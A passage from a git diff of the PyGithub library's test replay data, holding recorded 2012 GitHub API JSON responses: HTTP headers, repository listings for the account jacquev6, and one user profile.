e5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"DrawSyntax","language":"C++","description":"Draw syntax diagrams from EBNF grammars. API in C++ and Python. Try it online.","ssh_url":"git@github.com:jacquev6/DrawSyntax.git","pushed_at":"2011-11-27T14:00:32Z","created_at":"2010-07-10T08:39:56Z","id":767392,"html_url":"https://github.com/jacquev6/DrawSyntax","full_name":"jacquev6/DrawSyntax"},{"clone_url":"https://github.com/jacquev6/QuadProgMm.git","mirror_url":null,"has_downloads":false,"watchers":0,"updated_at":"2012-04-16T18:39:06Z","permissions":{"pull":true,"admin":true,"push":true},"master_branch":"master","homepage":"http://vincent-jacques.net/QuadProgMm","url":"https://api.github.com/repos/jacquev6/QuadProgMm","has_wiki":false,"has_issues":false,"fork":false,"forks":1,"size":760,"private":false,"open_issues":0,"svn_url":"https://github.com/jacquev6/QuadProgMm","git_url":"git://github.com/jacquev6/QuadProgMm.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"QuadProgMm","language":"C++","description":"A C++ interface to specify quadratic problems by C++ expressions of your variables. Try it online.","ssh_url":"git@github.com:jacquev6/QuadProgMm.git","pushed_at":"2012-04-16T18:39:05Z","created_at":"2010-07-10T08:36:57Z","id":767386,"html_url":"https://github.com/jacquev6/QuadProgMm","full_name":"jacquev6/QuadProgMm"},{"clone_url":"https://github.com/jacquev6/Boost.HierarchicalEnum.git","mirror_url":null,"has_downloads":false,"watchers":2,"updated_at":"2012-02-20T12:43:24Z","permissions":{"pull":true,"admin":true,"push":true},"master_branch":"master","homepage":"","url":"https://api.github.com/repos/jacquev6/Boost.HierarchicalEnum","has_wiki":false,"has_issues":false,"fork":false,"forks":1,"size":112,"private":false,"open_issues":0,"svn_url":"https://github.com/jacquev6/Boost.HierarchicalEnum","git_url":"git://github.com/jacquev6/Boost.HierarchicalEnum.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"Boost.HierarchicalEnum","language":"C++","description":"","ssh_url":"git@github.com:jacquev6/Boost.HierarchicalEnum.git","pushed_at":"2011-11-27T14:00:23Z","created_at":"2010-07-10T08:32:12Z","id":767382,"html_url":"https://github.com/jacquev6/Boost.HierarchicalEnum","full_name":"jacquev6/Boost.HierarchicalEnum"},{"clone_url":"https://github.com/jacquev6/ViDE.git","mirror_url":null,"has_downloads":false,"watchers":0,"updated_at":"2012-04-19T16:35:46Z","permissions":{"pull":true,"admin":true,"push":true},"master_branch":"master","homepage":"","url":"https://api.github.com/repos/jacquev6/ViDE","has_wiki":false,"has_issues":false,"fork":false,"forks":1,"size":1488,"private":false,"open_issues":0,"svn_url":"https://github.com/jacquev6/ViDE","git_url":"git://github.com/jacquev6/ViDE.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"ViDE","language":"Python","description":"Vincent's Development Environment","ssh_url":"git@github.com:jacquev6/ViDE.git","pushed_at":"2012-04-19T16:35:45Z","created_at":"2010-07-10T07:33:24Z","id":767343,"html_url":"https://github.com/jacquev6/ViDE","full_name":"jacquev6/ViDE"}] - diff --git a/tests/ReplayData/Enterprise.testHttps.txt b/tests/ReplayData/Enterprise.testHttps.txt index f69e5f4ace..09a3a2e998 100644 --- a/tests/ReplayData/Enterprise.testHttps.txt +++ b/tests/ReplayData/Enterprise.testHttps.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4961'), ('content-length', '17939'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"3d6116bc986eb0698f0dfe92a01b2437"'), ('date', 'Sat, 26 May 2012 20:19:00 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"clone_url":"https://github.com/jacquev6/TestPyGithub.git","mirror_url":null,"has_downloads":false,"watchers":1,"updated_at":"2012-05-26T09:55:27Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"http://foobar.com","url":"https://api.github.com/repos/jacquev6/TestPyGithub","has_wiki":false,"has_issues":false,"fork":false,"forks":1,"size":0,"private":false,"open_issues":0,"svn_url":"https://github.com/jacquev6/TestPyGithub","git_url":"git://github.com/jacquev6/TestPyGithub.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"TestPyGithub","language":null,"description":"Repo created by PyGithub","ssh_url":"git@github.com:jacquev6/TestPyGithub.git","pushed_at":"2012-05-26T09:55:27Z","created_at":"2012-05-26T09:55:27Z","id":4454027,"html_url":"https://github.com/jacquev6/TestPyGithub","full_name":"jacquev6/TestPyGithub"},{"clone_url":"https://github.com/jacquev6/django.git","mirror_url":null,"has_downloads":true,"watchers":1,"updated_at":"2012-04-28T11:06:20Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"http://www.djangoproject.com/","url":"https://api.github.com/repos/jacquev6/django","has_wiki":false,"has_issues":false,"fork":true,"forks":0,"size":48476,"private":false,"open_issues":0,"svn_url":"https://github.com/jacquev6/django","git_url":"git://github.com/jacquev6/django.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"django","language":"Python","description":"The Web framework for perfectionists with deadlines. Now on GitHub.","ssh_url":"git@github.com:jacquev6/django.git","pushed_at":"2012-04-28T04:05:15Z","created_at":"2012-04-28T11:06:20Z","id":4166730,"html_url":"https://github.com/jacquev6/django","full_name":"jacquev6/django"},{"clone_url":"https://github.com/jacquev6/PyGithub.git","mirror_url":null,"has_downloads":true,"watchers":14,"updated_at":"2012-05-26T18:33:41Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"http://vincent-jacques.net/PyGithub","url":"https://api.github.com/repos/jacquev6/PyGithub","has_wiki":false,"has_issues":true,"fork":false,"forks":2,"size":412,"private":false,"open_issues":15,"svn_url":"https://github.com/jacquev6/PyGithub","git_url":"git://github.com/jacquev6/PyGithub.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"PyGithub","language":"Python","description":"Python library implementing the full Github API v3","ssh_url":"git@github.com:jacquev6/PyGithub.git","pushed_at":"2012-05-26T11:25:48Z","created_at":"2012-02-25T12:53:47Z","id":3544490,"html_url":"https://github.com/jacquev6/PyGithub","full_name":"jacquev6/PyGithub"},{"clone_url":"https://github.com/jacquev6/developer.github.com.git","mirror_url":null,"has_downloads":false,"watchers":0,"updated_at":"2012-05-08T08:36:28Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"","url":"https://api.github.com/repos/jacquev6/developer.github.com","has_wiki":false,"has_issues":false,"fork":true,"forks":0,"size":152,"private":false,"open_issues":0,"svn_url":"https://github.com/jacquev6/developer.github.com","git_url":"git://github.com/jacquev6/developer.github.com.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"developer.github.com","language":"Ruby","description":"","ssh_url":"git@github.com:jacquev6/developer.github.com.git","pushed_at":"2012-05-08T08:36:28Z","created_at":"2012-02-05T18:22:26Z","id":3361136,"html_url":"https://github.com/jacquev6/developer.github.com","full_name":"jacquev6/developer.github.com"},{"clone_url":"https://github.com/jacquev6/acme-public-website.git","mirror_url":null,"has_downloads":false,"watchers":0,"updated_at":"2012-05-22T18:24:49Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"","url":"https://api.github.com/repos/jacquev6/acme-public-website","has_wiki":false,"has_issues":false,"fork":false,"forks":0,"size":120,"private":false,"open_issues":0,"svn_url":"https://github.com/jacquev6/acme-public-website","git_url":"git://github.com/jacquev6/acme-public-website.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"acme-public-website","language":null,"description":"","ssh_url":"git@github.com:jacquev6/acme-public-website.git","pushed_at":"2011-12-07T20:11:17Z","created_at":"2011-12-07T20:00:40Z","id":2935252,"html_url":"https://github.com/jacquev6/acme-public-website","full_name":"jacquev6/acme-public-website"},{"clone_url":"https://github.com/jacquev6/C4Planner.git","mirror_url":null,"has_downloads":true,"watchers":1,"updated_at":"2012-02-16T21:51:01Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"http://vincent-jacques.net/C4Planner","url":"https://api.github.com/repos/jacquev6/C4Planner","has_wiki":false,"has_issues":false,"fork":false,"forks":1,"size":4716,"private":false,"open_issues":0,"svn_url":"https://github.com/jacquev6/C4Planner","git_url":"git://github.com/jacquev6/C4Planner.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"C4Planner","language":"Python","description":"Caesar IV: anticipate your city","ssh_url":"git@github.com:jacquev6/C4Planner.git","pushed_at":"2011-11-27T20:51:06Z","created_at":"2011-08-24T08:30:55Z","id":2260441,"html_url":"https://github.com/jacquev6/C4Planner","full_name":"jacquev6/C4Planner"},{"clone_url":"https://github.com/jacquev6/Hacking.git","mirror_url":null,"has_downloads":false,"watchers":0,"updated_at":"2012-04-24T13:55:11Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"","url":"https://api.github.com/repos/jacquev6/Hacking","has_wiki":false,"has_issues":false,"fork":false,"forks":0,"size":128,"private":true,"open_issues":0,"svn_url":"https://github.com/jacquev6/Hacking","git_url":"git://github.com/jacquev6/Hacking.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"Hacking","language":"Python","description":"","ssh_url":"git@github.com:jacquev6/Hacking.git","pushed_at":"2012-04-17T19:09:56Z","created_at":"2011-07-02T15:59:51Z","id":1988081,"html_url":"https://github.com/jacquev6/Hacking","full_name":"jacquev6/Hacking"},{"clone_url":"https://github.com/jacquev6/vincent-jacques.net.git","mirror_url":null,"has_downloads":false,"watchers":0,"updated_at":"2012-04-29T15:20:52Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"vincent-jacques.net","url":"https://api.github.com/repos/jacquev6/vincent-jacques.net","has_wiki":false,"has_issues":false,"fork":false,"forks":0,"size":172,"private":true,"open_issues":0,"svn_url":"https://github.com/jacquev6/vincent-jacques.net","git_url":"git://github.com/jacquev6/vincent-jacques.net.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"vincent-jacques.net","language":"Python","description":"","ssh_url":"git@github.com:jacquev6/vincent-jacques.net.git","pushed_at":"2012-04-29T15:20:52Z","created_at":"2011-07-02T07:08:56Z","id":1986874,"html_url":"https://github.com/jacquev6/vincent-jacques.net","full_name":"jacquev6/vincent-jacques.net"},{"clone_url":"https://github.com/jacquev6/Contests.git","mirror_url":null,"has_downloads":false,"watchers":0,"updated_at":"2012-02-12T07:18:09Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"Contests","url":"https://api.github.com/repos/jacquev6/Contests","has_wiki":false,"has_issues":false,"fork":false,"forks":0,"size":448,"private":true,"open_issues":0,"svn_url":"https://github.com/jacquev6/Contests","git_url":"git://github.com/jacquev6/Contests.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"Contests","language":"Python","description":"","ssh_url":"git@github.com:jacquev6/Contests.git","pushed_at":"2011-11-14T20:19:48Z","created_at":"2011-06-27T11:55:34Z","id":1959919,"html_url":"https://github.com/jacquev6/Contests","full_name":"jacquev6/Contests"},{"clone_url":"https://github.com/jacquev6/Candidates.git","mirror_url":null,"has_downloads":false,"watchers":0,"updated_at":"2012-05-11T13:50:37Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"","url":"https://api.github.com/repos/jacquev6/Candidates","has_wiki":false,"has_issues":false,"fork":false,"forks":0,"size":700,"private":true,"open_issues":0,"svn_url":"https://github.com/jacquev6/Candidates","git_url":"git://github.com/jacquev6/Candidates.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"Candidates","language":"C++","description":"","ssh_url":"git@github.com:jacquev6/Candidates.git","pushed_at":"2012-05-11T13:50:36Z","created_at":"2011-04-09T18:24:08Z","id":1592290,"html_url":"https://github.com/jacquev6/Candidates","full_name":"jacquev6/Candidates"},{"clone_url":"https://github.com/jacquev6/Tests.git","mirror_url":null,"has_downloads":true,"watchers":0,"updated_at":"2012-04-28T10:16:42Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"","url":"https://api.github.com/repos/jacquev6/Tests","has_wiki":false,"has_issues":false,"fork":false,"forks":0,"size":3032,"private":true,"open_issues":0,"svn_url":"https://github.com/jacquev6/Tests","git_url":"git://github.com/jacquev6/Tests.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"Tests","language":"C","description":"Various tests","ssh_url":"git@github.com:jacquev6/Tests.git","pushed_at":"2012-04-01T04:24:47Z","created_at":"2011-03-28T20:24:02Z","id":1538471,"html_url":"https://github.com/jacquev6/Tests","full_name":"jacquev6/Tests"},{"clone_url":"https://github.com/jacquev6/DrawTurksHead.git","mirror_url":null,"has_downloads":false,"watchers":0,"updated_at":"2012-04-16T18:38:55Z","permissions":{"pull":true,"admin":true,"push":true},"master_branch":"master","homepage":"http://vincent-jacques.net/DrawTurksHead/","url":"https://api.github.com/repos/jacquev6/DrawTurksHead","has_wiki":false,"has_issues":false,"fork":false,"forks":1,"size":3232,"private":false,"open_issues":0,"svn_url":"https://github.com/jacquev6/DrawTurksHead","git_url":"git://github.com/jacquev6/DrawTurksHead.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"DrawTurksHead","language":"C++","description":"A tool to draw Turk's Head Knots. Try it online","ssh_url":"git@github.com:jacquev6/DrawTurksHead.git","pushed_at":"2012-04-16T18:38:54Z","created_at":"2010-07-10T08:54:09Z","id":767403,"html_url":"https://github.com/jacquev6/DrawTurksHead","full_name":"jacquev6/DrawTurksHead"},{"clone_url":"https://github.com/jacquev6/DrawSyntax.git","mirror_url":null,"has_downloads":false,"watchers":0,"updated_at":"2011-11-27T14:00:34Z","permissions":{"pull":true,"admin":true,"push":true},"master_branch":"master","homepage":"http://vincent-jacques.net/DrawSyntax/","url":"https://api.github.com/repos/jacquev6/DrawSyntax","has_wiki":false,"has_issues":false,"fork":false,"forks":1,"size":1760,"private":false,"open_issues":0,"svn_url":"https://github.com/jacquev6/DrawSyntax","git_url":"git://github.com/jacquev6/DrawSyntax.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"DrawSyntax","language":"C++","description":"Draw syntax diagrams from EBNF grammars. API in C++ and Python. Try it online.","ssh_url":"git@github.com:jacquev6/DrawSyntax.git","pushed_at":"2011-11-27T14:00:32Z","created_at":"2010-07-10T08:39:56Z","id":767392,"html_url":"https://github.com/jacquev6/DrawSyntax","full_name":"jacquev6/DrawSyntax"},{"clone_url":"https://github.com/jacquev6/QuadProgMm.git","mirror_url":null,"has_downloads":false,"watchers":0,"updated_at":"2012-04-16T18:39:06Z","permissions":{"pull":true,"admin":true,"push":true},"master_branch":"master","homepage":"http://vincent-jacques.net/QuadProgMm","url":"https://api.github.com/repos/jacquev6/QuadProgMm","has_wiki":false,"has_issues":false,"fork":false,"forks":1,"size":760,"private":false,"open_issues":0,"svn_url":"https://github.com/jacquev6/QuadProgMm","git_url":"git://github.com/jacquev6/QuadProgMm.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"QuadProgMm","language":"C++","description":"A C++ interface to specify quadratic problems by C++ expressions of your variables. Try it online.","ssh_url":"git@github.com:jacquev6/QuadProgMm.git","pushed_at":"2012-04-16T18:39:05Z","created_at":"2010-07-10T08:36:57Z","id":767386,"html_url":"https://github.com/jacquev6/QuadProgMm","full_name":"jacquev6/QuadProgMm"},{"clone_url":"https://github.com/jacquev6/Boost.HierarchicalEnum.git","mirror_url":null,"has_downloads":false,"watchers":2,"updated_at":"2012-02-20T12:43:24Z","permissions":{"pull":true,"admin":true,"push":true},"master_branch":"master","homepage":"","url":"https://api.github.com/repos/jacquev6/Boost.HierarchicalEnum","has_wiki":false,"has_issues":false,"fork":false,"forks":1,"size":112,"private":false,"open_issues":0,"svn_url":"https://github.com/jacquev6/Boost.HierarchicalEnum","git_url":"git://github.com/jacquev6/Boost.HierarchicalEnum.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"Boost.HierarchicalEnum","language":"C++","description":"","ssh_url":"git@github.com:jacquev6/Boost.HierarchicalEnum.git","pushed_at":"2011-11-27T14:00:23Z","created_at":"2010-07-10T08:32:12Z","id":767382,"html_url":"https://github.com/jacquev6/Boost.HierarchicalEnum","full_name":"jacquev6/Boost.HierarchicalEnum"},{"clone_url":"https://github.com/jacquev6/ViDE.git","mirror_url":null,"has_downloads":false,"watchers":0,"updated_at":"2012-04-19T16:35:46Z","permissions":{"pull":true,"admin":true,"push":true},"master_branch":"master","homepage":"","url":"https://api.github.com/repos/jacquev6/ViDE","has_wiki":false,"has_issues":false,"fork":false,"forks":1,"size":1488,"private":false,"open_issues":0,"svn_url":"https://github.com/jacquev6/ViDE","git_url":"git://github.com/jacquev6/ViDE.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"ViDE","language":"Python","description":"Vincent's Development Environment","ssh_url":"git@github.com:jacquev6/ViDE.git","pushed_at":"2012-04-19T16:35:45Z","created_at":"2010-07-10T07:33:24Z","id":767343,"html_url":"https://github.com/jacquev6/ViDE","full_name":"jacquev6/ViDE"}] - diff --git a/tests/ReplayData/Enterprise.testLongUrl.txt b/tests/ReplayData/Enterprise.testLongUrl.txt index 6a1d3f565a..66df67a1d4 100644 --- a/tests/ReplayData/Enterprise.testLongUrl.txt +++ b/tests/ReplayData/Enterprise.testLongUrl.txt @@ -19,4 +19,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4960'), ('content-length', '801'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"2b9d2167029cc33666d02e0b0e95f2b9"'), ('date', 'Sat, 26 May 2012 11:08:21 GMT'), ('content-type', 'application/json; charset=utf-8')] {"type":"User","disk_usage":17080,"public_gists":2,"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","public_repos":11,"hireable":false,"private_gists":5,"plan":{"private_repos":5,"collaborators":1,"name":"micro","space":614400},"bio":"","company":"Criteo","blog":"http://vincent-jacques.net","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","total_private_repos":5,"email":"vincent@vincent-jacques.net","collaborators":0,"followers":13,"name":"Vincent Jacques","owned_private_repos":5,"created_at":"2010-07-09T06:10:06Z","location":"Paris, France","id":327146,"following":24,"html_url":"https://github.com/jacquev6"} - diff --git a/tests/ReplayData/Enterprise.testSpecificPort.txt b/tests/ReplayData/Enterprise.testSpecificPort.txt index 0a7f4ff7a8..214e850b09 100644 --- a/tests/ReplayData/Enterprise.testSpecificPort.txt +++ b/tests/ReplayData/Enterprise.testSpecificPort.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4961'), ('content-length', '17939'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"3d6116bc986eb0698f0dfe92a01b2437"'), ('date', 'Sat, 26 May 2012 20:19:00 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"clone_url":"https://github.com/jacquev6/TestPyGithub.git","mirror_url":null,"has_downloads":false,"watchers":1,"updated_at":"2012-05-26T09:55:27Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"http://foobar.com","url":"https://api.github.com/repos/jacquev6/TestPyGithub","has_wiki":false,"has_issues":false,"fork":false,"forks":1,"size":0,"private":false,"open_issues":0,"svn_url":"https://github.com/jacquev6/TestPyGithub","git_url":"git://github.com/jacquev6/TestPyGithub.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"TestPyGithub","language":null,"description":"Repo created by PyGithub","ssh_url":"git@github.com:jacquev6/TestPyGithub.git","pushed_at":"2012-05-26T09:55:27Z","created_at":"2012-05-26T09:55:27Z","id":4454027,"html_url":"https://github.com/jacquev6/TestPyGithub","full_name":"jacquev6/TestPyGithub"},{"clone_url":"https://github.com/jacquev6/django.git","mirror_url":null,"has_downloads":true,"watchers":1,"updated_at":"2012-04-28T11:06:20Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"http://www.djangoproject.com/","url":"https://api.github.com/repos/jacquev6/django","has_wiki":false,"has_issues":false,"fork":true,"forks":0,"size":48476,"private":false,"open_issues":0,"svn_url":"https://github.com/jacquev6/django","git_url":"git://github.com/jacquev6/django.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"django","language":"Python","description":"The Web framework for perfectionists with deadlines. Now on GitHub.","ssh_url":"git@github.com:jacquev6/django.git","pushed_at":"2012-04-28T04:05:15Z","created_at":"2012-04-28T11:06:20Z","id":4166730,"html_url":"https://github.com/jacquev6/django","full_name":"jacquev6/django"},{"clone_url":"https://github.com/jacquev6/PyGithub.git","mirror_url":null,"has_downloads":true,"watchers":14,"updated_at":"2012-05-26T18:33:41Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"http://vincent-jacques.net/PyGithub","url":"https://api.github.com/repos/jacquev6/PyGithub","has_wiki":false,"has_issues":true,"fork":false,"forks":2,"size":412,"private":false,"open_issues":15,"svn_url":"https://github.com/jacquev6/PyGithub","git_url":"git://github.com/jacquev6/PyGithub.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"PyGithub","language":"Python","description":"Python library implementing the full Github API v3","ssh_url":"git@github.com:jacquev6/PyGithub.git","pushed_at":"2012-05-26T11:25:48Z","created_at":"2012-02-25T12:53:47Z","id":3544490,"html_url":"https://github.com/jacquev6/PyGithub","full_name":"jacquev6/PyGithub"},{"clone_url":"https://github.com/jacquev6/developer.github.com.git","mirror_url":null,"has_downloads":false,"watchers":0,"updated_at":"2012-05-08T08:36:28Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"","url":"https://api.github.com/repos/jacquev6/developer.github.com","has_wiki":false,"has_issues":false,"fork":true,"forks":0,"size":152,"private":false,"open_issues":0,"svn_url":"https://github.com/jacquev6/developer.github.com","git_url":"git://github.com/jacquev6/developer.github.com.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"developer.github.com","language":"Ruby","description":"","ssh_url":"git@github.com:jacquev6/developer.github.com.git","pushed_at":"2012-05-08T08:36:28Z","created_at":"2012-02-05T18:22:26Z","id":3361136,"html_url":"https://github.com/jacquev6/developer.github.com","full_name":"jacquev6/developer.github.com"},{"clone_url":"https://github.com/jacquev6/acme-public-website.git","mirror_url":null,"has_downloads":false,"watchers":0,"updated_at":"2012-05-22T18:24:49Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"","url":"https://api.github.com/repos/jacquev6/acme-public-website","has_wiki":false,"has_issues":false,"fork":false,"forks":0,"size":120,"private":false,"open_issues":0,"svn_url":"https://github.com/jacquev6/acme-public-website","git_url":"git://github.com/jacquev6/acme-public-website.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"acme-public-website","language":null,"description":"","ssh_url":"git@github.com:jacquev6/acme-public-website.git","pushed_at":"2011-12-07T20:11:17Z","created_at":"2011-12-07T20:00:40Z","id":2935252,"html_url":"https://github.com/jacquev6/acme-public-website","full_name":"jacquev6/acme-public-website"},{"clone_url":"https://github.com/jacquev6/C4Planner.git","mirror_url":null,"has_downloads":true,"watchers":1,"updated_at":"2012-02-16T21:51:01Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"http://vincent-jacques.net/C4Planner","url":"https://api.github.com/repos/jacquev6/C4Planner","has_wiki":false,"has_issues":false,"fork":false,"forks":1,"size":4716,"private":false,"open_issues":0,"svn_url":"https://github.com/jacquev6/C4Planner","git_url":"git://github.com/jacquev6/C4Planner.git","owner":{"url":"https://api.github.com/users/